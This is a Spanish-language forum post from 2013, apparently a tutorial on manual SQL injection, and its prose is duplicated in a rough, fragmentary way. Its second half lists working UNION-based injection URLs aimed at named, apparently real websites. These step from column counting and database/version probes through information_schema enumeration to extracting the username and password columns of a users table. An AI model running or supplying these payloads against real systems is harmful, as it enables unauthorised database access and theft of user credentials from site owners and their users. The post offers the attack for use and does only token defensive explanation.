Explotando SQLi Manualmente
Publicado: 11 May 2013, 05:09
Que es un SQLi?
Es una vulnerabilidad que se efectua por una mala filtración de caracteres.
Usando mysql se pueden filtrar caracteres con la funcion mysql_real_escape_string()
Esta vulnerabilidad permite al atacante injectar una consulta SQL mejor conocido como un query.
Sqli Manual
en este caso una variable aqui viene siendo
la variable id resultado de la variable 5 un ejemplo
vendrian siendo las variables
id
ref
co
a
si queeremos comprobar que la variable g es vulnerable donde pondriamos la comilla?
cuando verifiques si una variable es vulnerable pruebas asi:
de las dos maneras pruebas
para saber cuantas columnas tiene podemos poner
si ponemos
sale ke no existe pero con 6 sale bien quiere decir que tiene 6
columnas
salta normal
salta error quiere decir que es la 6
notA: una injeccion siempre deve tener -- al final ejemplo
[Enlace externo eliminado para invitados]
tambien se puede hacer
(Desde el 1 al 6 o desde 0 al 5) es lo mismo
Para que query se vuelva negativo y sake un error hay ke poner un - antes de la variable vulnerable
ejemplo
[Enlace externo eliminado para invitados]
Salen unos numeros botados por ahi en este caso es el 4 si le damos click a el error que sale
salen los numeros 4 3 y 6
Cada numero esta involucrado en la injeccion
saldrian 5 3 2
esos numeros estan haciendo querys ala db
con este comando database()
se saca el nombre de la db
Como?
sustituimos un numero ke imprime 5 3 o 2 ejemplo
para ver la version de PHP enves de poner database()
se pone version()
(en otro numero que imprima en estecaso 2) ejemplo
Para sacar las tablas...
cuando quieras sacar informacion de las tablas nombres o cantidad de tablas lo sacamos de
information_schema.tables
y cuando sea de columnas
information_schema.colums
si queremos sacar las columnas la url seria asi
y las tablas
en algunos casos nos sale solo 1 tabla para ir sabiendo mas tablas
aplicamos LIMIT+1+1--
LIMIT+2+1-- asi succesivamente
ya que sacamos las tablas encontramos la tabla usuarios users o algo asi

ya tenemos eso ahora que hacemos?
encriptamos la tabla en ascii to hex
les recomiendoe sta web para encryptarlo [Enlace externo eliminado para invitados]
Ok ahora en la url sustituimos los table_name por column_name y en information_schema.tables ponemos
information_schema.columns seguido de un +where+table_name=el codigo encriptado(le agregamos un 0x al inicio y le quitamos los espacios)
y el limit lo ponemos en 1,1
Quedaria algo asi
ven la url? nos tira username ahora moveremos el 1,1 asi 2,1 3,1 sucesivamente hasta que salga pass o algo parecido
Ahora borramos hasta que quede la injeccion normal algo asi
donde dice from+ le ponemos el nombre de la tabla (users) quedaria asi
cambiamos el column_name por el nombre de la columna que queremos ejemplo
Si tienen dudas ami privado amigos
Es una vulnerabilidad que se efectua por una mala filtración de caracteres.
Usando mysql se pueden filtrar caracteres con la funcion mysql_real_escape_string()
Esta vulnerabilidad permite al atacante injectar una consulta SQL mejor conocido como un query.
Sqli Manual
en este caso una variable aqui viene siendo
Código: Seleccionar todo
http://www.icvp.mx/enfermedades_detalle.php?id=5
Código: Seleccionar todo
http://www.icvp.mx/enfermedades_detalle.php?id=5&ref=google&a=b
id
ref
co
a
Código: Seleccionar todo
http://www.icvp.mx/enfermedades_detalle.php?id=5&ref=google.com&g=d&cos=sss
Código: Seleccionar todo
http://www.icvp.mx/enfermedades_detalle.php?id=5&ref=google.com&g=d'&cos=sss
Código: Seleccionar todo
http://gogo.com/index.php?var=vuln' y http://gogo.com/index.php?var='vuln
para saber cuantas columnas tiene podemos poner
Código: Seleccionar todo
http://www.icvp.mx/enfermedades_detalle.php?id=5+order+by+6
Código: Seleccionar todo
http://www.icvp.mx/enfermedades_detalle.php?id=5+order+by+7
columnas
Código: Seleccionar todo
http://www.icvp.mx/enfermedades_detalle.php?id=5+union+select+1,2,3,4,5,6,
salta normal
Código: Seleccionar todo
http://www.icvp.mx/enfermedades_detalle.php?id=5+union+select+1,2,3,4,5,6,7
notA: una injeccion siempre deve tener -- al final ejemplo
[Enlace externo eliminado para invitados]
tambien se puede hacer
Código: Seleccionar todo
http://www.icvp.mx/enfermedades_detalle.php?id=5+union+select+0,1,2,3,4,5--
Para que query se vuelva negativo y sake un error hay ke poner un - antes de la variable vulnerable
ejemplo
[Enlace externo eliminado para invitados]
Salen unos numeros botados por ahi en este caso es el 4 si le damos click a el error que sale
salen los numeros 4 3 y 6
Cada numero esta involucrado en la injeccion
Código: Seleccionar todo
ejemplo http://www.icvp.mx/enfermedades_detalle.php?id=-5+union+select+0,1,2,3,4,5,--
esos numeros estan haciendo querys ala db
con este comando database()
se saca el nombre de la db
Como?
sustituimos un numero ke imprime 5 3 o 2 ejemplo
Código: Seleccionar todo
http://www.icvp.mx/enfermedades_detalle.php?id=-5+union+select+0,1,2,3,4,database()--
se pone version()
(en otro numero que imprima en estecaso 2) ejemplo
Código: Seleccionar todo
http://www.icvp.mx/enfermedades_detalle.php?id=-5+union+select+0,1,version(),3,4,5--
cuando quieras sacar informacion de las tablas nombres o cantidad de tablas lo sacamos de
information_schema.tables
y cuando sea de columnas
information_schema.colums
si queremos sacar las columnas la url seria asi
Código: Seleccionar todo
http://www.tacosaltos.com/index2.php?o=CA&catID=-4+union+select+1,column_name,3,4,5,6+FROM+information_schema.columns--
Código: Seleccionar todo
http://www.tacosaltos.com/index2.php?o=CA&catID=-4+union+select+1,table_name,3,4,5,6+FROM+information_schema.tables--
aplicamos LIMIT+1+1--
LIMIT+2+1-- asi succesivamente
Código: Seleccionar todo
http://www.telemedik.com/articulos.php?id=-288+union+select+1,2,3,table_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+FROM+information_schema.tables+LIMIT+4,1--
ya que sacamos las tablas encontramos la tabla usuarios users o algo asi
Código: Seleccionar todo
http://www.telemedik.com/articulos.php?id=-288+union+select+1,2,3,table_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+FROM+information_schema.tables+LIMIT+49,1--

ya tenemos eso ahora que hacemos?
encriptamos la tabla en ascii to hex
les recomiendoe sta web para encryptarlo [Enlace externo eliminado para invitados]
Ok ahora en la url sustituimos los table_name por column_name y en information_schema.tables ponemos
information_schema.columns seguido de un +where+table_name=el codigo encriptado(le agregamos un 0x al inicio y le quitamos los espacios)
y el limit lo ponemos en 1,1
Quedaria algo asi
Código: Seleccionar todo
http://www.telemedik.com/articulos.php?id=-288+union+select+1,2,3,column_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+FROM+information_schema.columns+where+table_name=0x7573657273+LIMIT+1,1--
Ahora borramos hasta que quede la injeccion normal algo asi
Código: Seleccionar todo
http://www.telemedik.com/articulos.php?id=-288+union+select+1,2,3,column_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+FROM+
Código: Seleccionar todo
http://www.telemedik.com/articulos.php?id=-288+union+select+1,2,3,column_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+FROM+users--
Código: Seleccionar todo
http://www.telemedik.com/articulos.php?id=-288+union+select+1,2,3,username,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+FROM+users--
Código: Seleccionar todo
http://www.telemedik.com/articulos.php?id=-288+union+select+1,2,3,password,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+FROM+users--